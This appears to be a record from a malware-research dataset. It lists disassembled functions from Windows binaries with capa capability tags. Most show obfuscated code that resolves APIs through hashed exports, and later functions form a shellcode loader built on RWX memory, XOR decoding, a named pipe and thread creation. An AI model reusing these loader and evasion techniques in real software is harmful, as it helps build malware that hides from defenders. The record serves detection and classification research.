joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180006410
Capabilities:
Encrypt data using chaskey
Hash data using murmur3
Inspect section memory permissions
Resolve function by parsing pe exports

Disassembly:
add ebx, esi
add ebx, eax
and ebx, 2
je 0x180003d0b
ror edx, 0xe
ror eax, 0x1a
xor edi, eax
sub edi, 0x9e989d47
add ebx, edi
add ebx, edx
add ebx, eax
and ebx, 0x40
je 0x180003659
xor ebx, 0xa41c9211
sub edi, 0x9ebdfcfe
ror eax, 0xc
rol edi, 0x18
xor ecx, dword [rbp - 0x18]
jmp 0x180008c5f
add dword [rbp - 0x18], 0x8cad2e31
xor ebx, dword [rbp - 0x18]
xor esi, edi
rol edi, 6
rol ebx, 0x1b
add ebx, edx
add ebx, esi
and ebx, 0x80
je 0x180007582
add ecx, 0xe9e011a2
ror esi, 0x19
xor edx, 0x6d7d0f
xor ebx, 0x579cc716
xor edi, 0x5bc5748f
add ebx, edx
add ebx, ecx
and ebx, 0x20000000
je 0x180006709
xor edi, edx
xor esi, 0x2dc47fe0
sub ecx, 0xce5c4e3f
add ebx, eax
add ebx, esi
add ebx, ecx
and ebx, 0x2000
je 0x180001bb6
add ebx, 0x68151d63
ror ecx, 5
sub ecx, 0x90c92a12
xor ebx, 0x2d29d03b
xor eax, 0x108b8450
jmp 0x18000a517

Function at 0x180006c40
Capabilities:
Encrypt data using chaskey
Hash data using murmur3
Inspect section memory permissions
Resolve function by parsing pe exports

Disassembly:
je 0x180008f8f
sub edx, 0xa5d17c98
add ecx, 0xc2a571e8
rol edx, 0x15
jmp 0x1800012db

Function at 0x180007c10
Capabilities:
Encrypt data using chaskey
Hash data using murmur3
Inspect section memory permissions
Resolve function by parsing pe exports

Disassembly:
xor ecx, edi
add ebx, eax
add ebx, edi
and ebx, 0x800000
je 0x180002a6f
rol ecx, 0x19
sub ecx, 0xdccc90e6
rol ebx, 0xc
add ebx, ecx
add ebx, edi
and ebx, 0x400000
je 0x180003a7b
rol ebx, 0xc
ror ecx, 6
xor esi, 0x5d38ece7
jmp 0x1800022ca

Function at 0x1800087f0
Capabilities:
Encrypt data using chaskey
Hash data using murmur3
Inspect section memory permissions
Resolve function by parsing pe exports

Disassembly:
add dword [rbp - 0x18], 0x4c137ab9
xor ebx, dword [rbp - 0x18]
xor esi, 0x37c49bdd
ror ecx, 0x1e
rol ebx, 8
add ebx, edx
add ebx, esi
and ebx, 0x8000000
je 0x180004e26
add esi, 0x83304906
xor ebx, edi
add esi, 0x57e11985
ror ecx, 0xa
add ebx, esi
add ebx, eax
and ebx, 0x40000000
je 0x180009ecb
rol esi, 0x14
xor eax, 0x45d38ed3
add edx, 0x4c8a7cb
add ebx, ecx
add ebx, edx
and ebx, 1
je 0x180006709
add ecx, 0x1015c746
add edx, 0x16ee5f16
ror edi, 0xa
jmp 0x180007a8c
add ebx, eax
and ebx, 0x40000
je 0x180008375
add edi, 0xfbdc7bae
sub eax, 0x5e010c8a
add esi, 0x9b98aa97
add eax, 0xb22d2356
add ebx, esi
add ebx, eax
and ebx, 0x4000
je 0x180004245
sub edx, 0x3f84304c
sub esi, 0xcda9369f
ror edx, 0x1a
add ecx, 0x9ba82235
sub edi, 0xee543088
jmp 0x180009127
Function at 0x1800092b0
Capabilities:
Encrypt data using chaskey
Hash data using murmur3
Inspect section memory permissions
Resolve function by parsing pe exports

Disassembly:
xor esi, dword [rbp - 8]
rol eax, 8
rol edi, 0xd
add ebx, ecx
add ebx, edi
add ebx, eax
and ebx, 0x40000
jrcxz 0x1800092c2
add byte [rax + rax], al
je 0x180003085
ror ebx, 0xf
rol ecx, 0xf
ror edx, 0x17
sub edi, 0xd516cd80
add ebx, esi
add ebx, eax
and ebx, 0x800
je 0x1800094f6
rol edi, 0x1e
ror eax, 0xa
ror eax, 0x1a
add ebx, edi
add ebx, edx
add ebx, ecx
and ebx, 0x200000
je 0x180009127
sub edx, 0x8ea62cd9
xor ecx, 0xe46dbbfb
add esi, 0xbf5190ab
add ebx, 0x71b1f1cf
jmp fcn.1800079f5
invalid
Function at 0x180009740
Capabilities:
Encrypt data using chaskey
Hash data using murmur3
Inspect section memory permissions
Resolve function by parsing pe exports

Disassembly:
add dword [rbp - 0x18], 0x99fd7e8b
sub eax, 0xb84fd6a9
add dword [rbp - 0x18], 0xef47b418
xor ebx, dword [rbp - 0x18]
xor ebx, 0x3daf63f3
add ebx, 0x4d1c64b
sub edx, 0x2b84594b
ror ecx, 0x12
add ebx, edx
add ebx, edi
and ebx, 0x4000
je 0x18000289c
add ecx, 0x74e403bd
add eax, 0x4bd6cfb3
ror edx, 0xb
add ebx, eax
add ebx, esi
and ebx, 0x400000
je 0x180007df0
xor ebx, edi
sub ebx, 0x335b3c5a
xor esi, 0x8ab69b69
add ebx, edi
add ebx, esi
and ebx, 0x1000000
je 0x180008f8f
ror edx, 3
sub edi, 0xe60ac124
sub esi, 0x11f37b5c
rol eax, 0xf
add eax, 0x64dd507c
jmp 0x180003bfd
add dword [rbp - 0x18], 0xd8b537c8
xor ebx, dword [rbp - 0x18]
xor edx, 0x550101b0
xor esi, 0x95183e58
add eax, 0xc48b9307
add edi, 0xa610f588
add ebx, edx
add ebx, esi
add ebx, edi
and ebx, 0x40
je 0x18000111b
rol esi, 0x1f
rol ebx, 0x10
add ecx, 0x400c2c16
add ebx, edi
add ebx, eax
add ebx, esi
and ebx, 0x4000
jrcxz 0x1800028e2
add byte [rax], al
rol eax, 0x19
sub edi, 0x9bd00a9f
add ebx, esi
add ebx, eax
add ebx, ecx
and ebx, 1
je 0x180009e4b
rol esi, 0x19
xor edi, 0x1a74b492
add edi, 0x63f93ce5
ror edx, 0xd
add ebx, esi
add ebx, edi
add ebx, edx
and ebx, 2
je 0x180007795
sub eax, 0x5488d594
xor edx, dword [rbp - 0x18]
rol esi, 0x14
ror esi, 0x11
rol ebx, 0x12
add ebx, edi
add ebx, esi
add ebx, edx
rol dword [rcx + 0x200e3], cl
add byte [rdi], cl
test dh, bl
invalid
invalid
invalid
rol edi, 0x1c
xor edi, 0xd9383234
ror edi, 9
rol esi, 0x1a
sub esi, 0x8ad6d21b
jmp 0x1800012db
add dword [rbp - 0x18], 0x7b7fb82e
xor ebx, dword [rbp - 0x18]
ror eax, 0x11
add edx, 0x416d5f8a
rol eax, 0x1f
sub edx, 0x5edaf4bc
add ebx, edx
add ebx, esi
add ebx, edi
and ebx, 0x400
je 0x18000a31b
add ecx, 0x5b1bfd3
ror eax, 0xf
ror ecx, 0xe
ror ebx, 0x14
add edx, 0x3c0d3520
add ebx, edi
add ebx, edx
and ebx, 0x800
je 0x180006709
rol ecx, 0x1f
rol eax, 0x1b
rol edx, 4
add ebx, edx
add ebx, eax
and ebx, 0x8000
je 0x1800061ae
ror ecx, 0x18
add ebx, 0x46b60a5b
sub edi, 0x5a057071
jmp section..text
add dword [rbp - 0x18], 0x29e51091
xor ebx, dword [rbp - 0x18]
sub ecx, 0x4200584c
rol edx, 0x1a
xor ecx, 0x2fe5653
add ebx, ecx
add ebx, edx
and ebx, 0x4000
je 0x180003d0b
add edx, 0x6245861e
add eax, 0xfa915f2f
rol esi, 0x17
ror esi, 0x12
ror edi, 0x19
add ebx, ecx
add ebx, eax
and ebx, 0x40
je fcn.1800079f5
xor eax, 0x6cd0539e
sub edi, 0x56417e28
rol eax, 4
add ebx, ecx
add ebx, esi
add ebx, edx
and ebx, 0x80000
je 0x18000a517
rol eax, 0x1c
add eax, 0xdef2c184
sub edi, 0x7d2995db
xor esi, ecx
ror eax, 0x1f
jmp 0x180001b2d

Function at 0x18000a1d0
Capabilities:
Encrypt data using chaskey
Hash data using murmur3
Inspect section memory permissions
Resolve function by parsing pe exports

Disassembly:
add ebx, edx
add ebx, ecx
and ebx, 0x20
je 0x1800041ba
rol edx, 9
rol edx, 0x15
rol edx, 5
rol edi, 0xc
rol edi, 0x17
add ebx, ecx
add ebx, esi
and ebx, 0x1000
je 0x180009b69
xor ebx, 0x4086509e
xor edi, dword [rbp - 8]
xor eax, 0xc4c8f15a
add edx, 0x622c5e69
jmp 0x180006242
Function at 0x18000a7b0
Capabilities:
Encrypt data using chaskey
Hash data using murmur3
Inspect section memory permissions
Resolve function by parsing pe exports

Disassembly:
add dword [rbp - 0x18], 0x6733cf09
xor ebx, dword [rbp - 0x18]
xor ecx, esi
rol ebx, 9
rol eax, 0xd
rol edi, 0xd
add ebx, edi
add ebx, esi
add ebx, ecx
and ebx, 0x100000
je 0x180003659
sub esi, 0xee4c58fa
add eax, 0x2fb1c9e0
rol eax, 0xc
rol esi, 0x1f
sub eax, 0x870d63b5
add ebx, edi
add ebx, edx
and ebx, 0x400000
je 0x1800094f6
add eax, 0x1a77c686
add edx, 0x10311f95
rol edx, 0x1d
rol edx, 0x13
add ebx, ecx
add ebx, edi
and ebx, 0x1000
je 0x180005ed8
add ecx, 0x36d79342
rol esi, 0x1d
mov ecx, 0x9eb61871
mov rsp, rbp
mov dword [rbp - 0x18], 0x9585447b
mov edx, 0xbc76ecca
mov esi, 0x2b2128fc
sub rsp, 0x20
mov ebx, 0x3d0ff0e4
mov edi, 0x34674c55
add dword [rbp - 8], 1
mov eax, dword [rbp - 8]
jmp fcn.18000a066
ror edi, 0x17
sub ebx, 0x9b3c7207
sub eax, 0x1f30a9c3
add ebx, eax
add ebx, ecx
add ebx, edx
and ebx, 0x4000000
je 0x1800020fc
add edi, 0xa067c667
ror esi, 9
ror edi, 0x1d
add edx, 0x7ac7ad7b
add ebx, eax
add ebx, esi
add ebx, ecx
and ebx, 0x4000
je 0x180007df0
ror edx, 0xb
sub ebx, 0xbe2c2b2e
rol esi, 0xc
sub ebx, 0x3abe04ec
jmp 0x1800012db

Function at 0x18000a92c
Capabilities:
Encrypt data using chaskey
Hash data using murmur3
Inspect section memory permissions
Resolve function by parsing pe exports

Disassembly:
cmp al, 0x35
pop rax
in al, 0x33
pop rbp
call 0x1410474f8
retf 0xc110

Function at 0x18000ad90
Capabilities:
Encrypt data using chaskey
Hash data using murmur3
Inspect section memory permissions
Resolve function by parsing pe exports

Disassembly:
ror ecx, 0x1e
xor ecx, dword [rbp - 8]
xor ebx, edi
rol ecx, 0x15
add ebx, edx
add ebx, eax
and ebx, 0x80000000
je 0x180009b69
xor edi, 0xb8dc4810
xor edx, edi
sub eax, 0x63cc54e1
sub edx, 0x157e4c2a
add ebx, edi
add ebx, eax
add ebx, edx
and ebx, 0x20000
je 0x180005723
ror edi, 0x18
add eax, 0xbc6bc121
rol eax, 0x12
sub edx, 0x44825129
add ebx, ecx
add ebx, eax
add ebx, edx
and ebx, 0x800000
je 0x180007a8c
rol ebx, 0x13
xor edx, 0x99c3c306
add edi, 0xf7111a2a
sub edx, 0xe16ace0b
xor eax, dword [rbp - 0x18]
jmp 0x180009127
Function at 0x18000ba90
Capabilities:
Access peb ldr_data
Encode data using xor
Encrypt data using chaskey
Hash data using murmur3
Inspect section memory permissions
Resolve function by parsing pe exports

Disassembly:
add dword [rbp - 0x18], 0x982d6bac
xor ebx, dword [rbp - 0x18]
add edi, 0x95415a84
ror esi, 4
add edx, 0x8439ec0
ror ecx, 9
add ebx, edi
add ebx, ecx
add ebx, eax
and ebx, 0x10
je section..text
rol eax, 0x14
push rbp
mov rbp, rsp
sub rsp, 0x20
mov dword [rbp - 8], 0x19aa32d
jmp 0x180001aa2

Function at 0x18000c8b0
Capabilities:
Get storage device properties

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x60
mov rax, qword [0x18001f018]
xor rax, rsp
mov qword [rsp + 0x58], rax
and dword [rsp + 0x40], 0
xor eax, eax
mov qword [rsp + 0x48], rax
xor ebx, ebx
and dword [rsp + 0x4c], eax
xor edi, edi
mov dword [rsp + 0x50], eax
mov rsi, rdx
mov dword [rsp + 0x48], AtlModuleInit
mov rbp, rcx
test rdx, rdx
jne 0x18000c8fb
lea ebx, [rdx + 0x57]
jmp 0x18000c96f
call qword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_GetProcessHeap]
test rax, rax
je 0x18000c920
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 0x18]
call qword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_HeapAlloc]
mov rdi, rax
test rax, rax
jne 0x18000c927
mov ebx, 8
jmp 0x18000c96f
and qword [rsp + 0x38], rbx
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x48]
mov dword [rsp + 0x28], reloc.ATL.DLL_AtlInternalQueryInterface
mov r9d, AtlModuleInit
mov edx, 0x2d1400
mov qword [rsp + 0x20], rdi
mov rcx, rbp
call qword [sym.imp.api_ms_win_core_io_l1_1_0.dll_DeviceIoControl]
test eax, eax
jne 0x18000c96a
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
mov ebx, eax
jmp 0x18000c96f
mov eax, dword [rdi + 0x10]
mov dword [rsi], eax
call qword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_GetProcessHeap]
test rax, rax
je 0x18000c98d
test rdi, rdi
je 0x18000c98d
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_HeapFree]
movzx eax, bx
or eax, 0x80070000
test ebx, ebx
cmovle eax, ebx
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1800110b0
mov rbx, qword [rsp + 0x90]
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret

Function at 0x18000ca40
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x58
xor edx, edx
lea rcx, [rsp + 0x20]
lea r8d, [rdx + 0x30]
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_core_sysinfo_l1_2_0.dll_GetNativeSystemInfo]
xor eax, eax
cmp word [rsp + 0x20], 9
sete al
add rsp, 0x58
ret
Function at 0x18000e370
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x50
mov rsi, rdx
mov qword [rax - 0x38], rdx
xor edx, edx
lea r9, [0x180019c00]
mov rdi, r8
mov rbp, rcx
lea rcx, [0x180019bf0]
lea r8d, [rdx + 1]
call qword [sym.imp.api_ms_win_core_com_l1_1_0.dll_CoCreateInstance]
mov ebx, eax
test eax, eax
jns 0x18000e3ba
lea rdx, str.VdsWmiConnectToNamespace__1__hr_lX
jmp 0x18000e438
mov rcx, qword [rsi]
xor r9d, r9d
mov qword [rsp + 0x40], rdi
xor r8d, r8d
and qword [rsp + 0x38], 0
mov rdx, rbp
and qword [rsp + 0x30], 0
mov rax, qword [rcx]
mov dword [rsp + 0x28], 0x80
and qword [rsp + 0x20], 0
mov rax, qword [rax + 0x18]
call qword [0x180012900]
mov ebx, eax
test eax, eax
jns 0x18000e401
lea rdx, str.VdsWmiConnectToNamespace__2__hr_lX
jmp 0x18000e438
and dword [rsp + 0x38], 0
mov eax, 3
and qword [rsp + 0x30], 0
xor r9d, r9d
mov rcx, qword [rdi]
xor r8d, r8d
mov dword [rsp + 0x28], eax
or edx, 0xffffffff
mov dword [rsp + 0x20], eax
call qword [sym.imp.api_ms_win_core_com_l1_1_0.dll_CoSetProxyBlanket]
mov ebx, eax
test eax, eax
jns 0x18000e442
lea rdx, str.VdsWmiConnectToNamespace__3__hr_lX
mov r8d, eax
xor ecx, ecx
call sym.vdsutil.dll_VdsTraceW
mov rbp, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
Function at 0x140001508
Capabilities:
Execute shellcode via indirect call

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rbx, rcx
mov esi, r8d
cmp r8d, 2
jne 0x140001574
mov dword [0x140058060], 0x10
mov eax, 0xe2ff41
movups xmm0, xmmword [rcx]
mov qword [rsp + 0x20], 0xba49
shl rax, 0x28
mov qword [rsp + 0x25], rax
movups xmmword [0x140058064], xmm0
movups xmm1, xmmword [rcx]
mov qword [rsp + 0x22], rdx
mov rax, qword [rsp + 0x20]
movups xmmword [0x140058074], xmm1
mov qword [0x140058074], rax
mov rax, qword [rsp + 0x25]
mov qword [0x140058079], rax
mov ebp, dword [0x140058060]
xor eax, eax
lea r13, [rsp + 0x20]
mov rcx, rbx
mov dword [rsp + 0x20], eax
mov r12, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, r13
mov r8d, 0x40
mov r14, rbp
mov rdx, rbp
call r12
test eax, eax
je 0x14000161f
test esi, esi
lea rsi, [0x140058064]
mov rdi, rbx
mov rcx, rbp
lea rax, [rsi + 0x10]
cmovne rsi, rax
cmp qword [0x140058088], 0
rep movsb byte [rdi], byte [rsi]
jne 0x1400015ec
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtFlushInstructionCache
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140058088], rax
mov rsi, qword [0x140058088]
test rsi, rsi
je 0x140001609
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8d, r14d
mov rdx, rbx
mov rcx, rax
call rsi
mov r8d, dword [rsp + 0x20]
mov r9, r13
mov rdx, rbp
mov rcx, rbx
call r12
mov eax, 1
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret

Function at 0x1400016d3
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 2
lea rdx, [0x14000162e]
jmp fcn.140001508

Function at 0x1400016ec
Capabilities:
Create thread

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rbp, rcx
mov esi, edx
mov ecx, 0x40000
xor edx, edx
mov r12, r8
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov r8d, 0xa
xor edx, edx
mov rdi, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test esi, esi
jle 0x14000173d
movsxd r9, esi
mov r8, rax
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rbx, rax
xor eax, eax
cmp esi, eax
jle 0x140001759
mov rdx, rax
and edx, 7
mov dl, byte [r12 + rdx]
xor dl, byte [rbp + rax]
mov byte [rbx + rax], dl
inc rax
jmp 0x14000173f
call fcn.1400016d3
mov rcx, rbx
mov r9, rbx
lea r8, [0x1400014b7]
call fcn.1400014d6
xor eax, eax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], edx
xor edx, edx
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x1400017d0
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r8d, r8d
mov r9d, 1
mov rdi, rcx
mov esi, edx
xor ecx, ecx
xor edx, edx
mov dword [rsp + 0x4c], edx
mov edx, 2
mov qword [rsp + 0x38], rcx
lea rcx, [0x1400580a0]
mov dword [rsp + 0x30], r8d
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], r8d
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov rbx, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14000186f
xor edx, edx
mov rcx, rbx
lea rbp, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
je 0x14000186f
test esi, esi
jle 0x140001859
xor eax, eax
mov r9, rbp
mov r8d, esi
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140001864
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000186f
mov edx, dword [rsp + 0x4c]
add rdi, rdx
sub esi, edx
jmp 0x140001838
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x140001896
Capabilities:
Read file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r9d, r9d
mov r8d, 3
mov rdi, rcx
mov ebx, edx
xor ecx, ecx
xor edx, edx
mov dword [rsp + 0x4c], edx
mov edx, 0x80000000
lea rbp, [rsp + 0x4c]
mov qword [rsp + 0x30], rcx
lea rcx, [0x1400580a0]
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
xor eax, eax
cmp rsi, 0xffffffffffffffff
je 0x140001927
test ebx, ebx
jle 0x14000190c
xor eax, eax
mov r9, rbp
mov r8d, ebx
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x14000191c
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140001927
mov edx, dword [rsp + 0x4c]
add rdi, rdx
sub ebx, edx
jmp 0x1400018eb
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x140001988
Capabilities:
Create thread

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, qword [0x1400558e0]
movsxd rcx, dword [rsi + 4]
call sub.msvcrt.dll_malloc
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
mov rbx, rax
mov ecx, 0x400
call rdi
mov edx, dword [rsi + 4]
mov rcx, rbx
call fcn.140001896
test eax, eax
je 0x140001951
mov edx, dword [rsi + 4]
lea r8, [rsi + 8]
mov rcx, rbx
call fcn.1400016ec
mov rcx, rbx
call sub.msvcrt.dll_free
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
sub rsp, 0x68
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x26aa
xor edx, edx
mov r9d, 0x5c
div ecx
mov dword [rsp + 0x50], 0x5c
mov dword [rsp + 0x48], 0x65
mov dword [rsp + 0x40], 0x70
mov dword [rsp + 0x38], 0x69
mov dword [rsp + 0x30], 0x70
mov dword [rsp + 0x28], 0x5c
mov dword [rsp + 0x20], 0x2e
mov r8d, 0x5c
lea rcx, [0x1400580a0]
mov dword [rsp + 0x58], edx
lea rdx, str._c_c_c_c_c_c_c_c_cSoteriaSoteria_d
call fcn.1400017a0
xor eax, eax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], edx
xor r9d, r9d
lea r8, [0x140001878]
xor edx, edx
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
add rsp, 0x68
jmp 0x140001930
Function at 0x140001d10
Capabilities:
Write file on windows

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x30
lea rbp, [rsp + 0x30]
mov rbx, rcx
lea rax, [rbp + 0x28]
mov ecx, 2
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
mov qword [rbp - 8], rax
call fcn.1400078a0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rbp - 8]
mov ecx, 2
call fcn.1400078a0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140001d80
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
movsxd rsi, dword [0x140058154]
mov rbx, rcx
test esi, esi
jle 0x140001eb0
mov rax, qword [0x140058158]
xor r9d, r9d
add rax, 0x18
nop dword [rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001dcb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001e53
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001db0
mov rcx, rbx
call fcn.140002830
mov rdi, rax
test rax, rax
je 0x140001ed2
mov rax, qword [0x140058158]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002970
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140058158]
lea rdx, [rbp - 0x30]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001eb7
mov eax, dword [rbp - 0xc]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001e4c
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001e60
add dword [0x140058154], 1
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
cmp eax, 2
mov rcx, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x18]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140058158]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001e4c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001d10
nop word [rax + rax]
xor esi, esi
jmp 0x140001dd8
mov rax, qword [0x140058158]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001d10
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001d10
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x140002460
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
lea r13, [0x1400581c0]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400581a0]
test rbx, rbx
je 0x1400024c5
mov r12, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
mov ecx, dword [rbx]
call r12
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400024bc
test eax, eax
jne 0x1400024bc
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400024a0
mov rcx, r13
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002830
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140055780]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002850
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002858
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002850
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400028ad
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400028a4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002850
add rax, 0x28
cmp rax, r9
jne 0x140002890
xor eax, eax
ret

Function at 0x1400028b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140055780]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400028cf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400028d8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400028cf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002970
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140055780]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000298f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002998
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret